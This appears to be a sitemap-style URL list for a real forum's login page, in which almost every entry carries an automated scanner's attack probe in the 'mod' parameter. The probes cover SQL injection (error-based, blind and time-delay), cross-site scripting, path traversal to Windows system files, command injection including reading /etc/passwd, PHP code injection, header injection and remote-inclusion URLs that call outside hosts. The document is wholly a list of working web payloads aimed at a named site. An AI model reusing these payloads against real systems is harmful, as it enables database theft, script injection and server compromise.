http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%3Cdir 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=(SELECT%20(CASE%20WHEN%20(51=82)%20THEN%200x6C6F6767696E67%20ELSE%2051*(SELECT%2051%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=................windowswin.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=dir 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging 0.0014 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%00' 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25%27%29%20AND%2042%3D42%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25%27%29%20AND%2067%3D15%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20AND%2072=29%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20AND%2084=84%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(25=56)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%2527 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%2527%20AND%2013=16%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%2527%20AND%2099=99%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%5B%5D 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%5C%22 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%5C' 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging%bf%27 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging' 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND%20'LB'='cB 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND%20'uD'='uD 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20OR%20'tk'='tk'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=56)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'dg'='dg 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(38=38)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'4o'='4o 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%22 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20AND%2018=18%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20AND%2078=31%20AND%20('bg'='bg 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(84=84)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20('Mb'='Mb 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(99=11)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20('iA'='iA 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging';%20IF(16=16)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging';%20IF(79=37)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging) 0.0001 